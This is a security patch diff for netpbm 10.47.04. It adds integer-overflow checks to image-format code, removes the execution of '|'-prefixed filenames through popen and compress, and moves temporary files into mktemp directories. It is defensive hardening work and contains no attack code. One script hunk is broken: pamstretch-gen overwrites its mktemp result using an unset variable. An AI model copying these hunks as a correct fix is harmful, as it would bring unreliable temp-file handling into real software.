--- netpbm-10.47.04/lib/pm.h.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/pm.h	2009-10-21 15:09:34.000000000 +0200
@@ -377,4 +377,11 @@ pm_parse_height(const char * const arg);
 #endif
 
 
+void *malloc2(int, int);
+void *malloc3(int, int, int);
+#define overflow2(a,b) __overflow2(a,b)
+void __overflow2(int, int);
+void overflow3(int, int, int);
+void overflow_add(int, int);
+
 #endif
diff -up netpbm-10.47.04/other/pnmcolormap.c.security netpbm-10.47.04/other/pnmcolormap.c
--- netpbm-10.47.04/other/pnmcolormap.c.security	2009-10-21 13:38:54.000000000 +0200
+++ netpbm-10.47.04/other/pnmcolormap.c	2009-10-21 15:09:34.000000000 +0200
@@ -840,6 +840,7 @@ colormapToSquare(struct pam * const pamP
             pamP->width = intsqrt;
         else 
             pamP->width = intsqrt + 1;
+            overflow_add(intsqrt, 1);
     }
     {
         unsigned int const intQuotient = colormap.size / pamP->width;
diff -up netpbm-10.47.04/urt/README.security netpbm-10.47.04/urt/README
--- netpbm-10.47.04/urt/README.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/README	2009-10-21 15:09:34.000000000 +0200
@@ -18,3 +18,8 @@ in its initializer in the original.  But
 defines stdout as a variable, so that wouldn't compile.  So I changed
 it to NULL and added a line to rle_hdr_init to set that field to
 'stdout' dynamically.  2000.06.02 BJH.
+
+Redid the code to check for maths overflows and other crawly horrors.
+Removed pipe through and compress support (unsafe)
+
+Alan Cox <alan at redhat.com>
diff -up netpbm-10.47.04/urt/rle_addhist.c.security netpbm-10.47.04/urt/rle_addhist.c
--- netpbm-10.47.04/urt/rle_addhist.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_addhist.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_addhist.c - Add to the HISTORY comment in header
@@ -76,13 +78,19 @@ rle_addhist(char *          argv[],
         return;
     
     length = 0;
-    for (i = 0; argv[i]; ++i)
+    for (i = 0; argv[i]; ++i) {
+	overflow_add(length, strlen(argv[i]));
+	overflow_add(length+1, strlen(argv[i]));
         length += strlen(argv[i]) +1;   /* length of each arg plus space. */
+    }
 
     time(&temp);
     timedate = ctime(&temp);
     length += strlen(timedate);        /* length of date and time in ASCII. */
 
+    overflow_add(strlen(padding), 4);
+    overflow_add(strlen(histoire), strlen(padding) + 4);
+    overflow_add(length, strlen(histoire) + strlen(padding) + 4);
     length += strlen(padding) + 3 + strlen(histoire) + 1;
         /* length of padding, "on "  and length of history name plus "="*/
     if (in_hdr) /* if we are interested in the old comments... */
@@ -90,9 +98,12 @@ rle_addhist(char *          argv[],
     else
         old = NULL;
     
-    if (old && *old)
+    if (old && *old) {
+	overflow_add(length, strlen(old));
         length += strlen(old);       /* add length if there. */
+    }
 
+    overflow_add(length, 1);
     ++length;                               /*Cater for the null. */
 
     MALLOCARRAY(newc, length);
diff -up netpbm-10.47.04/urt/rle_getrow.c.security netpbm-10.47.04/urt/rle_getrow.c
--- netpbm-10.47.04/urt/rle_getrow.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_getrow.c	2009-10-21 15:09:34.000000000 +0200
@@ -17,6 +17,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_getrow.c - Read an RLE file in.
@@ -168,6 +170,7 @@ rle_get_setup(rle_hdr * const the_hdr) {
         register char * cp;
 
         VAXSHORT( comlen, infile ); /* get comment length */
+	overflow_add(comlen, 1);
         evenlen = (comlen + 1) & ~1;    /* make it even */
         if ( evenlen )
         {
diff -up netpbm-10.47.04/urt/rle_hdr.c.security netpbm-10.47.04/urt/rle_hdr.c
--- netpbm-10.47.04/urt/rle_hdr.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_hdr.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_hdr.c - Functions to manipulate rle_hdr structures.
@@ -79,7 +81,10 @@ int img_num;
     /* Fill in with copies of the strings. */
     if ( the_hdr->cmd != pgmname )
     {
-	char *tmp = (char *)malloc( strlen( pgmname ) + 1 );
+	char *tmp ;
+
+	overflow_add(strlen(pgmname), 1);
+	tmp = malloc( strlen( pgmname ) + 1 );
 	RLE_CHECK_ALLOC( pgmname, tmp, 0 );
 	strcpy( tmp, pgmname );
 	the_hdr->cmd = tmp;
@@ -87,7 +92,9 @@ int img_num;
 
     if ( the_hdr->file_name != fname )
     {
-	char *tmp = (char *)malloc( strlen( fname ) + 1 );
+	char *tmp;
+	overflow_add(strlen(fname), 1);
+	tmp = malloc( strlen( fname ) + 1 );
 	RLE_CHECK_ALLOC( pgmname, tmp, 0 );
 	strcpy( tmp, fname );
 	the_hdr->file_name = tmp;
@@ -152,6 +159,7 @@ rle_hdr *from_hdr, *to_hdr;
     if ( to_hdr->bg_color )
     {
 	int size = to_hdr->ncolors * sizeof(int);
+	overflow2(to_hdr->ncolors, sizeof(int));
 	to_hdr->bg_color = (int *)malloc( size );
 	RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->bg_color, "background color" );
 	memcpy( to_hdr->bg_color, from_hdr->bg_color, size );
@@ -160,7 +168,7 @@ rle_hdr *from_hdr, *to_hdr;
     if ( to_hdr->cmap )
     {
 	int size = to_hdr->ncmap * (1 << to_hdr->cmaplen) * sizeof(rle_map);
-	to_hdr->cmap = (rle_map *)malloc( size );
+	to_hdr->cmap = (rle_map *)malloc3( to_hdr->ncmap, 1<<to_hdr->cmaplen, sizeof(rle_map));
 	RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->cmap, "color map" );
 	memcpy( to_hdr->cmap, from_hdr->cmap, size );
     }
@@ -173,11 +181,16 @@ rle_hdr *from_hdr, *to_hdr;
 	int size = 0;
 	CONST_DECL char **cp;
 	for ( cp=to_hdr->comments; *cp; cp++ )
+	{
+	    overflow_add(size, 1);
 	    size++;		/* Count the comments. */
+ 	}
 	/* Check if there are really any comments. */
 	if ( size )
 	{
+	    overflow_add(size, 1);
 	    size++;		/* Copy the NULL pointer, too. */
+	    overflow2(size, sizeof(char *));
 	    size *= sizeof(char *);
 	    to_hdr->comments = (CONST_DECL char **)malloc( size );
 	    RLE_CHECK_ALLOC( to_hdr->cmd, to_hdr->comments, "comments" );
diff -up netpbm-10.47.04/urt/rle.h.security netpbm-10.47.04/urt/rle.h
--- netpbm-10.47.04/urt/rle.h.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle.h	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,9 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
+ *  Header declarations needed
  */
 /* 
  * rle.h - Global declarations for Utah Raster Toolkit RLE programs.
@@ -166,6 +169,17 @@ rle_hdr             /* End of typedef. *
  */
 extern rle_hdr rle_dflt_hdr;
 
+/* 
+ * Provided by pm library
+ */
+ 
+extern void overflow_add(int, int);
+#define overflow2(a,b) __overflow2(a,b)
+extern void __overflow2(int, int);
+extern void overflow3(int, int, int);
+extern void *malloc2(int, int);
+extern void *malloc3(int, int, int);
+extern void *realloc2(void *, int, int);
 
 /* Declare RLE library routines. */
 
diff -up netpbm-10.47.04/urt/rle_open_f.c.security netpbm-10.47.04/urt/rle_open_f.c
--- netpbm-10.47.04/urt/rle_open_f.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_open_f.c	2009-10-21 15:15:38.000000000 +0200
@@ -163,64 +163,7 @@ dealWithSubprocess(const char *  const f
                    bool *        const noSubprocessP,
                    const char ** const errorP) {
 
-#ifdef NO_OPEN_PIPES
     *noSubprocessP = TRUE;
-#else
-    const char *cp;
-
-    reapChildren(catchingChildrenP, pids);
-
-    /*  Real file, not stdin or stdout.  If name ends in ".Z",
-     *  pipe from/to un/compress (depending on r/w mode).
-     *  
-     *  If it starts with "|", popen that command.
-     */
-        
-    cp = file_name + strlen(file_name) - 2;
-    /* Pipe case. */
-    if (file_name[0] == '|') {
-        pid_t thepid;     /* PID from my_popen */
-
-        *noSubprocessP = FALSE;
-
-        *fpP = my_popen(file_name + 1, mode, &thepid);
-        if (*fpP == NULL)
-            *errorP = "%s: can't invoke <<%s>> for %s: ";
-        else {
-            /* One more child to catch, eventually. */
-            if (*catchingChildrenP < MAX_CHILDREN)
-                pids[(*catchingChildrenP)++] = thepid;
-        }
-    } else if (cp > file_name && *cp == '.' && *(cp + 1) == 'Z' ) {
-        /* Compress case. */
-        pid_t thepid;     /* PID from my_popen. */
-        const char * command;
-
-        *noSubprocessP = FALSE;
-        
-        if (*mode == 'w')
-            asprintfN(&command, "compress > %s", file_name);
-        else if (*mode == 'a')
-            asprintfN(&command, "compress >> %s", file_name);
-        else
-            asprintfN(&command, "compress -d < %s", file_name);
-        
-        *fpP = my_popen(command, mode, &thepid);
-
-        if (*fpP == NULL)
-            *errorP = "%s: can't invoke 'compress' program, "
-                "trying to open %s for %s";
-        else {
-            /* One more child to catch, eventually. */
-            if (*catchingChildrenP < MAX_CHILDREN)
-                pids[(*catchingChildrenP)++] = thepid;
-        }
-        strfree(command);
-    } else {
-        *noSubprocessP = TRUE;
-        *errorP = NULL;
-    }
-#endif
 }
 
 
diff -up netpbm-10.47.04/urt/rle_putcom.c.security netpbm-10.47.04/urt/rle_putcom.c
--- netpbm-10.47.04/urt/rle_putcom.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/rle_putcom.c	2009-10-21 15:09:34.000000000 +0200
@@ -14,6 +14,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * rle_putcom.c - Add a picture comment to the header struct.
@@ -98,12 +100,14 @@ rle_putcom(const char * const value,
         const char * v;
         const char ** old_comments;
         int i;
-        for (i = 2, cp = the_hdr->comments; *cp != NULL; ++i, ++cp)
+        for (i = 2, cp = the_hdr->comments; *cp != NULL; ++i, ++cp) {
+	    overflow_add(i, 1);
             if (match(value, *cp) != NULL) {
                 v = *cp;
                 *cp = value;
                 return v;
             }
+	}
         /* Not found */
         /* Can't realloc because somebody else might be pointing to this
          * comments block.  Of course, if this were true, then the
diff -up netpbm-10.47.04/urt/Runput.c.security netpbm-10.47.04/urt/Runput.c
--- netpbm-10.47.04/urt/Runput.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/Runput.c	2009-10-21 15:09:34.000000000 +0200
@@ -17,6 +17,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /* 
  * Runput.c - General purpose Run Length Encoding.
@@ -202,9 +204,11 @@ RunSetup(rle_hdr * the_hdr)
     if ( the_hdr->background != 0 )
     {
 	register int i;
-	register rle_pixel *background =
-	    (rle_pixel *)malloc( (unsigned)(the_hdr->ncolors + 1) );
+	register rle_pixel *background;
 	register int *bg_color;
+
+	overflow_add(the_hdr->ncolors,1);
+	background = (rle_pixel *)malloc( (unsigned)(the_hdr->ncolors + 1) );
 	/* 
 	 * If even number of bg color bytes, put out one more to get to 
 	 * 16 bit boundary.
@@ -224,7 +228,7 @@ RunSetup(rle_hdr * the_hdr)
 	/* Big-endian machines are harder */
 	register int i, nmap = (1 << the_hdr->cmaplen) *
 			       the_hdr->ncmap;
-	register char *h_cmap = (char *)malloc( nmap * 2 );
+	register char *h_cmap = (char *)malloc2( nmap, 2 );
 	if ( h_cmap == NULL )
 	{
 	    fprintf( stderr,
diff -up netpbm-10.47.04/urt/scanargs.c.security netpbm-10.47.04/urt/scanargs.c
--- netpbm-10.47.04/urt/scanargs.c.security	2009-10-21 13:39:11.000000000 +0200
+++ netpbm-10.47.04/urt/scanargs.c	2009-10-21 15:09:34.000000000 +0200
@@ -38,6 +38,8 @@
  *
  *  Modified at BRL 16-May-88 by Mike Muuss to avoid Alliant STDC desire
  *  to have all "void" functions so declared.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 
 #include "rle.h"
@@ -65,8 +67,8 @@ typedef int *ptr;
 /* 
  * Storage allocation macros
  */
-#define NEW( type, cnt )	(type *) malloc( (cnt) * sizeof( type ) )
-#define RENEW( type, ptr, cnt )	(type *) realloc( ptr, (cnt) * sizeof( type ) )
+#define NEW( type, cnt )	(type *) malloc2( (cnt) , sizeof( type ) )
+#define RENEW( type, ptr, cnt )	(type *) realloc2( ptr, (cnt), sizeof( type ) )
 
 #if defined(c_plusplus) && !defined(USE_PROTOTYPES)
 #define USE_PROTOTYPES

netpbm-security-scripts.patch:
 converter/other/anytopnm |   13 +++-
 editor/pamstretch-gen    |    4 -
 editor/pnmmargin         |   32 ++++++----
 editor/ppmfade           |  137 ++++++++++++++++++++++++-----------------------
 editor/ppmquantall       |    8 --
 editor/ppmshadow         |    7 +-
 6 files changed, 108 insertions(+), 93 deletions(-)

--- NEW FILE netpbm-security-scripts.patch ---
diff -up netpbm-10.47.04/converter/other/anytopnm.security2 netpbm-10.47.04/converter/other/anytopnm
--- netpbm-10.47.04/converter/other/anytopnm.security2	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/anytopnm	2009-10-21 14:51:49.000000000 +0200
@@ -510,10 +510,7 @@ else
     inputFile="-"
 fi
 
-tempdir="${TMPDIR-/tmp}/anytopnm.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
-trap 'rm -rf $tempdir' 0
+tempdir=$(mktemp -d -t anytopnm.XXXXXXXXXX) || exit 1
 
 # Take out all spaces
 # Find the filename extension for last-ditch efforts later
@@ -539,9 +536,17 @@ if [ "$filetype" = "unknown" ]; then
     echo "$progname: unknown file type.  " \
         "'file' says mime type is '$mimeType', " 1>&2
     echo "type description is '$typeDescription'" 1>&2
+    if [ -d "$tempdir" ] ; then
+        rm -rf "$tempdir"
+    fi
+
     exit 1
     fi
 
 convertIt $file $filetype
 
+if [ -d "$tempdir" ] ; then
+    rm -rf "$tempdir"
+fi
+
 exit 0
diff -up netpbm-10.47.04/editor/pamstretch-gen.security2 netpbm-10.47.04/editor/pamstretch-gen
--- netpbm-10.47.04/editor/pamstretch-gen.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pamstretch-gen	2009-10-21 14:53:28.000000000 +0200
@@ -31,9 +31,7 @@ if [ "$1" = "" ]; then
   exit 1
 fi
 
-tempdir="${TMPDIR-/tmp}/pamstretch-gen.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
+tempfile=$(mktemp /tmp/pnmig.XXXXXXXXXX) || exit 1
 trap 'rm -rf $tempdir' 0 1 3 15
 
 tempfile=$tempdir/pnmig
diff -up netpbm-10.47.04/editor/pnmmargin.security2 netpbm-10.47.04/editor/pnmmargin
--- netpbm-10.47.04/editor/pnmmargin.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmmargin	2009-10-21 14:55:40.000000000 +0200
@@ -11,15 +11,11 @@
 # documentation.  This software is provided "as is" without express or
 # implied warranty.
 
-tempdir="${TMPDIR-/tmp}/pnmmargin.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting." 1>&2; exit 1;}
-trap 'rm -rf $tempdir' 0 1 3 15
-
-tmp1=$tempdir/pnmm1
-tmp2=$tempdir/pnmm2
-tmp3=$tempdir/pnmm3
-tmp4=$tempdir/pnmm4
+tmpdir=$(mktemp -d -t ppmmargin.XXXXXXX) || exit 1
+tmp1="$tmpdir/tmp1"
+tmp2="$tmpdir/tmp2"
+tmp3="$tmpdir/tmp3"
+tmp4="$tmpdir/tmp4"
 
 color="-gofigure"
 plainopt=""
@@ -43,6 +39,9 @@ while true ; do
 	shift
 	if [ ! ${1-""} ] ; then
        	    echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+            if [ -d "$tmpdir" ]; then
+                rm -rf "$tmpdir"
+            fi
 	    exit 1
 	fi
 	color="$1"
@@ -50,6 +49,9 @@ while true ; do
 	;;
 	-* )
 	echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+        if [ -d "$tmpdir" ]; then
+            rm -rf "$tmpdir"
+        fi
 	exit 1
 	;;
 	* )
@@ -60,6 +62,9 @@ done
 
 if [ ! ${1-""} ] ; then
     echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+    if [ -d "$tmpdir" ]; then
+        rm -rf "$tmpdir"
+    fi
     exit 1
 fi
 size="$1"
@@ -67,6 +72,9 @@ shift
 
 if [ ${2-""} ] ; then
     echo "usage: $0 [-white|-black|-color <colorspec>] <size> [pnmfile]" 1>&2
+    if [ -d "$tmpdir" ]; then
+        rm -rf "$tmpdir"
+    fi
     exit 1
 fi
 
@@ -103,6 +111,6 @@ else
     pnmcat -tb $plainopt $tmp3 $tmp4 $tmp3
 fi
 
-
-
-
+if [ -d "$tmpdir" ]; then
+    rm -rf "$tmpdir"
+fi
diff -up netpbm-10.47.04/editor/ppmfade.security2 netpbm-10.47.04/editor/ppmfade
--- netpbm-10.47.04/editor/ppmfade.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmfade	2009-10-21 15:03:01.000000000 +0200
@@ -14,6 +14,7 @@
 #
 #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 use strict;
+use File::Temp "tempdir";
 
 my $SPREAD =  1;
 my $SHIFT =   2;
@@ -111,20 +112,26 @@ if ($first_file ne "undefined") {
 
 print("Frames are " . $width . "W x " . $height . "H\n");
 
+#
+# We create a tmp-directory right here
+#
+my $tmpdir = tempdir("ppmfade.XXXXXX", CLEANUP => 1);
+
+
 if ($first_file eq "undefined") {
     print "Fading from black to ";
-    system("ppmmake \\#000 $width $height >junk1$$.ppm");
+    system("ppmmake \\#000 $width $height >$tmpdir/junk1$$.ppm");
 } else {
     print "Fading from $first_file to ";
-    system("cp", $first_file, "junk1$$.ppm");
+    system("cp", $first_file, "$tmpdir/junk1$$.ppm");
 }
 
 if ($last_file eq "undefined") {
     print "black.\n";
-    system("ppmmake \\#000 $width $height >junk2$$.ppm");
+    system("ppmmake \\#000 $width $height >$tmpdir/junk2$$.ppm");
 } else {
     print "$last_file\n";
-    system("cp", $last_file, "junk2$$.ppm");
+    system("cp", $last_file, "$tmpdir/junk2$$.ppm");
 }
 
 #
@@ -132,14 +139,14 @@ if ($last_file eq "undefined") {
 #
 
 # Here's what our temporary files are:
-#   junk1$$.ppm: The original (fade-from) image
-#   junk2$$.ppm: The target (fade-from) image
-#   junk3$$.ppm: The frame of the fade for the current iteration of the 
-#                the for loop.
-#   junk1a$$.ppm: If the fade involves a ppmmix sequence from one intermediate
-#                 image to another, this is the first frame of that 
-#                 sequence.
-#   junk2a$$.ppm: This is the last frame of the above-mentioned ppmmix sequence
+#   $tmpdir/junk1$$.ppm: The original (fade-from) image
+#   $tmpdir/junk2$$.ppm: The target (fade-from) image
+#   $tmpdir/junk3$$.ppm: The frame of the fade for the current iteration of the 
+#                	 the for loop.
+#   $tmpdir/junk1a$$.ppm: If the fade involves a ppmmix sequence from one intermediate
+#                         image to another, this is the first frame of that 
+#                         sequence.
+#   $tmpdir/junk2a$$.ppm: This is the last frame of the above-mentioned ppmmix sequence
 
 my $i;    # Frame number
 for ($i = 1; $i <= $nframes; $i++) {
@@ -147,147 +154,147 @@ for ($i = 1; $i <= $nframes; $i++) {
     if ($mode eq $SPREAD) {
         if ($i <= 10) {
             my $n = $spline20[$i] * 100;
-            system("ppmspread $n junk1$$.ppm >junk3$$.ppm");
+            system("ppmspread $n $tmpdir/junk1$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n;
             $n = $spline20[$i] * 100;
-            system("ppmspread $n junk1$$.ppm >junk1a$$.ppm");
+            system("ppmspread $n $tmpdir/junk1$$.ppm >$tmpdir/junk1a$$.ppm");
             $n = (1-$spline20[$i-10]) * 100;
-            system("ppmspread $n junk2$$.ppm >junk2a$$.ppm");
+            system("ppmspread $n $tmpdir/junk2$$.ppm >$tmpdir/junk2a$$.ppm");
             $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = (1-$spline20[$i-10])*100;
-            system("ppmspread $n junk2$$.ppm >junk3$$.ppm");
+            system("ppmspread $n $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
     } elsif ($mode eq $SHIFT) {
         if ($i <= 10) {
             my $n = $spline20[$i] * 100;
-            system("ppmshift $n junk1$$.ppm >junk3$$.ppm");
+            system("ppmshift $n $tmpdir/junk1$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n;
             $n = $spline20[$i] * 100;
-            system("ppmshift $n junk1$$.ppm >junk1a$$.ppm");
+            system("ppmshift $n $tmpdir/junk1$$.ppm >$tmpdir/junk1a$$.ppm");
             $n = (1-$spline20[$i-10])*100;
-            system("ppmshift $n junk2$$.ppm >junk2a$$.ppm");
+            system("ppmshift $n $tmpdir/junk2$$.ppm >$tmpdir/junk2a$$.ppm");
             $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = (1-$spline20[$i-10]) * 100;
-            system("ppmshift $n junk2$$.ppm >junk3$$.ppm");
+            system("ppmshift $n $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
     } elsif ($mode eq $RELIEF) {
         if ($i == 1) {
-            system("ppmrelief junk1$$.ppm >junk1r$$.ppm");
+            system("ppmrelief $tmpdir/junk1$$.ppm >$tmpdir/junk1r$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1r$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1r$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1r$$.ppm junk2r$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1r$$.ppm $tmpdir/junk2r$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2r$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2r$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmrelief junk2$$.ppm >junk2r$$.ppm");
+            system("ppmrelief $tmpdir/junk2$$.ppm >$tmpdir/junk2r$$.ppm");
         }
     } elsif ($mode eq $OIL) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmoil >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmoil >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmoil >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmoil >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         }
     } elsif ($mode eq $EDGE) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmedge >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmedge >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmedge >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmedge >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         } 
     } elsif ($mode eq $BENTLEY) {
         if ($i == 1) {
-            system("ppmtopgm junk1$$.ppm | pgmbentley >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk1o$$.ppm");
+            system("ppmtopgm $tmpdir/junk1$$.ppm | pgmbentley >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk1o$$.ppm");
         }
         if ($i <= 10) {
             my $n = $spline10[$i];
-            system("ppmmix $n junk1$$.ppm junk1o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1$$.ppm $tmpdir/junk1o$$.ppm >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1o$$.ppm junk2o$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1o$$.ppm $tmpdir/junk2o$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = $spline10[$i-20];
-            system("ppmmix $n junk2o$$.ppm junk2$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk2o$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("ppmtopgm junk2$$.ppm | pgmbentley >junko$$.ppm");
-            system("rgb3toppm junko$$.ppm junko$$.ppm junko$$.ppm " .
-                   ">junk2o$$.ppm");
+            system("ppmtopgm $tmpdir/junk2$$.ppm | pgmbentley >$tmpdir/junko$$.ppm");
+            system("rgb3toppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm $tmpdir/junko$$.ppm " .
+                   ">$tmpdir/junk2o$$.ppm");
         }
     } elsif ($mode eq $BLOCK) {
         if ($i <= 10) {
             my $n = 1 - 1.9*$spline20[$i];
-            system("pamscale $n junk1$$.ppm | " .
-                   "pamscale -width $width -height $height >junk3$$.ppm");
+            system("pamscale $n $tmpdir/junk1$$.ppm | " .
